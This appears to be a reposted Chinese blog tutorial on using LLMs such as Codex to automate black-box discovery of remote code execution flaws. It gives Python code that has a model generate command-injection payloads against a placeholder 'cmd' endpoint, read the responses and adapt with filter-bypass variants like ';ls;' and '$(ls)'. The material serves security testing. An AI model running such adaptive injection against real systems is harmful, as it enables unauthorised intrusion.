基于大模型(LLM)的黑盒RCE漏洞挖掘

admin 2025年1月11日19:53:28评论6 views字数 4490阅读14分58秒阅读模式
简介

远程代码执行(Remote Code Execution,RCE)漏洞是最危险的网络安全漏洞之一,攻击者可以通过此类漏洞远程执行任意代码,进而控制目标系统。由于RCE漏洞的危害性极大,因此发现和修复这些漏洞是网络安全领域的重要任务。传统的漏洞挖掘方法依赖于手动渗透测试和静态分析,效率较低且依赖于安全专家的经验。近年来,大语言模型(LLM)技术,尤其是如OpenAI Codex等模型的出现,为自动化漏洞挖掘提供了新的思路和方法。

基于大模型(LLM)的黑盒RCE漏洞挖掘

黑盒漏洞挖掘

黑盒测试(Black-box Testing)是一种不依赖于目标系统内部实现的测试方法,测试人员仅通过外部接口与系统交互,模拟攻击者的行为来发现潜在漏洞。黑盒漏洞挖掘通常依赖于输入数据生成(如恶意HTTP请求、文件上传等),并通过系统的响应来判断是否存在漏洞。

在RCE漏洞的黑盒挖掘中,攻击者通过提交恶意输入数据(如构造恶意文件上传、注入恶意命令等)来测试系统是否能被远程控制。由于黑盒测试不依赖系统的源代码,因此它能够模拟真实攻击者的攻击方式,评估系统的安全性。

大模型(LLM)在黑盒RCE漏洞挖掘应用

在黑盒漏洞挖掘中,LLM可以自动化生成恶意请求,模拟攻击者行为,检验系统是否能够正确处理这些输入。LLM不仅可以生成常见的攻击payload(如SQL注入、XSS、RCE等),还能够根据目标系统的特征动态调整攻击策略。

技术实现

  • 使用LLM生成恶意payload:LLM根据目标应用的接口或功能生成攻击payload。例如,在Web应用中,LLM可以生成恶意的HTTP请求,包含命令注入、文件上传、路径遍历等攻击。

  • 自动化测试:LLM与目标系统进行交互,自动化提交请求,分析系统的响应。如果系统的响应表明存在异常行为(如执行了注入的命令),则判定为存在漏洞。

  • 智能化反馈:LLM能够根据系统响应分析攻击效果,进一步调整生成的payload,优化漏洞检测的准确性。

代码实现

假设目标系统提供一个cmd参数,攻击者可以通过该参数执行任意系统命令。我们将通过LLM生成一个命令注入payload,并尝试触发RCE漏洞。

import openaiimport requests# 设置OpenAI API密钥openai.api_key = "your-api-key"# 目标URLtarget_url = "http://example.com/api/execute_command"# 目标API接口描述api_description = """这是一个API接口,允许用户通过'cmd'参数执行系统命令。用户输入的命令没有进行任何过滤。请分析此接口是否存在RCE漏洞,并生成攻击payload。"""# 使用LLM生成攻击payloaddef generate_payload(api_description):    prompt = f"""    根据以下API接口描述,生成恶意输入或者攻击payload:    {api_description}    攻击目标是远程命令执行(RCE),请生成一个可以执行'ls'命令并返回结果的payload。    """    response = openai.Completion.create(        model="code-davinci-002",  # 使用Codex模型进行生成        prompt=prompt,        max_tokens=150,        temperature=0.7    )    payload = response.choices[0].text.strip()return payload# 发起攻击并测试RCE漏洞def test_rce_vulnerability(target_url, api_description):    payload = generate_payload(api_description)    params = {"cmd": payload}    try:        response = requests.get(target_url, params=params)if response.status_code == 200:print(f"请求成功,正在分析响应:{response.text}")            # 使用LLM分析响应            analyze_response_for_rce(response.text)else:print("未发现RCE漏洞")    except requests.exceptions.RequestException as e:print(f"请求失败:{e}")# 使用LLM分析响应并判断是否存在RCEdef analyze_response_for_rce(response_text):    prompt = f"""    下面是目标系统的响应内容,请分析是否存在RCE漏洞:    {response_text}    如果存在RCE漏洞,请说明漏洞原因,并提供修复建议。    """    response = openai.Completion.create(        model="code-davinci-002",  # 使用Codex模型进行分析        prompt=prompt,        max_tokens=200,        temperature=0.5    )    analysis_result = response.choices[0].text.strip()print("LLM分析结果:")print(analysis_result)# 运行测试test_rce_vulnerability(target_url, api_description)

代码阐述

  1. generate_payload():通过LLM根据接口描述生成恶意的cmd参数值(例如,执行ls命令)。LLM会根据目标接口的特点(如命令执行接口)生成特定的攻击payload。

  2. test_rce_vulnerability():通过HTTP GET请求发送包含恶意payload的cmd参数,并获取目标系统的响应。

  3. analyze_response_for_rce():使用LLM对系统的响应内容进行分析,判断是否存在远程代码执行(RCE)漏洞。如果响应中包含命令输出或异常信息(如ls命令的输出),则说明可能存在RCE漏洞。

实战示例

假设我们给定一个目标系统,其中cmd参数未进行验证。目标系统在接受到如下请求时会执行传入的命令:

GET http://example.com/api/execute_command?cmd=ls

如果系统返回类似ls命令的目录列表,则表明目标系统存在RCE漏洞。LLM将通过分析返回的文本(如返回的目录列表或错误信息)来得出是否存在漏洞的结论。

例如,假设响应是:

bin  boot  etc  home  lib  lib64  opt  root  sbin  usr

LLM的分析结果可能是:

LLM分析结果:该响应表明命令'ls'被成功执行,系统可能存在远程命令执行(RCE)漏洞。攻击者可以利用此漏洞执行任意命令,造成严重安全风险。建议修复方法:对'cmd'参数进行严格的输入验证,防止用户输入恶意命令。

自适应攻击和反馈机制

LLM不仅能够生成初步的攻击payload,还能够根据系统的反馈(如响应内容、错误信息等)调整攻击策略。例如,如果初次攻击没有成功,LLM可以调整payload,尝试其他命令或输入,直到触发漏洞或找到更有效的攻击方式。

示例:自适应攻击

假设目标系统返回错误信息而不是预期的命令输出

Error: command not found

LLM可以分析错误信息并提出调整策略,生成更有针对性的payload,避免简单的命令注入攻击。

def adjust_payload_based_on_feedback(response_text):    prompt = f"""    目标系统返回以下错误信息:{response_text}    请分析此错误并生成新的攻击payload,以尝试绕过错误并触发RCE漏洞。    """    response = openai.Completion.create(        model="code-davinci-002",  # 使用Codex模型进行分析        prompt=prompt,        max_tokens=150,        temperature=0.7    )    adjusted_payload = response.choices[0].text.strip()print("LLM调整后的攻击payload:", adjusted_payload)return adjusted_payload

改进点与完善逻辑

1. 自适应攻击
  • 初始攻击策略是通过generate_payload函数生成简单的攻击payload,如cmd=ls

  • 如果攻击失败或系统未返回预期结果,脚本会调用adjust_payload_based_on_feedback,让LLM根据反馈调整攻击策略。 例如:

    • 初始命令未被解析:调整为cmd=$(ls)cmd=;ls;

    • 如果需要绕过简单的输入过滤:调整为混淆payload或加入URL编码。

2. LLM响应分析
  • 通过analyze_response_for_rce函数,LLM会从目标系统的HTTP响应中提取关键信息,例如:

    • 是否包含命令的输出(如文件列表、路径信息等)。

    • 是否返回错误提示,表明命令未被正确解析。

  • 如果LLM判断系统可能存在漏洞,则返回成功的结论。

3. 迭代优化
  • 脚本设计了最大尝试次数(如5次),每次都会基于前次响应调整攻击策略,避免单一的攻击模式。

  • 通过自适应机制,能够模拟攻击者的多次尝试行为,提高漏洞检测的成功率。

4. 执行流程
  1. 调用LLM生成初始payload。

  2. 通过HTTP请求向目标系统发送payload。

  3. 分析响应:

    1. 如果检测到漏洞,则终止并输出结果。

    2. 如果未检测到漏洞,则基于响应调整payload。

  4. 重复上述步骤,直到发现漏洞或尝试次数用尽。

运行结果示例

成功触发漏洞:

[尝试第 1 次] 使用payload: ls响应状态码: 200响应内容: bin  boot  etc  home  lib  lib64LLM分析结果:该响应表明命令'ls'被成功执行,系统存在远程命令执行(RCE)漏洞。建议修复方法:对'cmd'参数进行严格输入验证,或使用白名单限制可执行的命令。检测到RCE漏洞!

失败后调整策略:

[尝试第 1 次] 使用payload: ls响应状态码: 200响应内容: Error: command not found未检测到漏洞,尝试调整攻击策略...调整后的payload: ;ls;[尝试第 2 次] 使用payload: ;ls;响应状态码: 200响应内容: bin  boot  etc  homeLLM分析结果:该响应表明命令'ls'被成功执行,系统存在远程命令执行(RCE)漏洞。检测到RCE漏洞!

原文始发于微信公众号(暴暴的皮卡丘):基于大模型(LLM)的黑盒RCE漏洞挖掘

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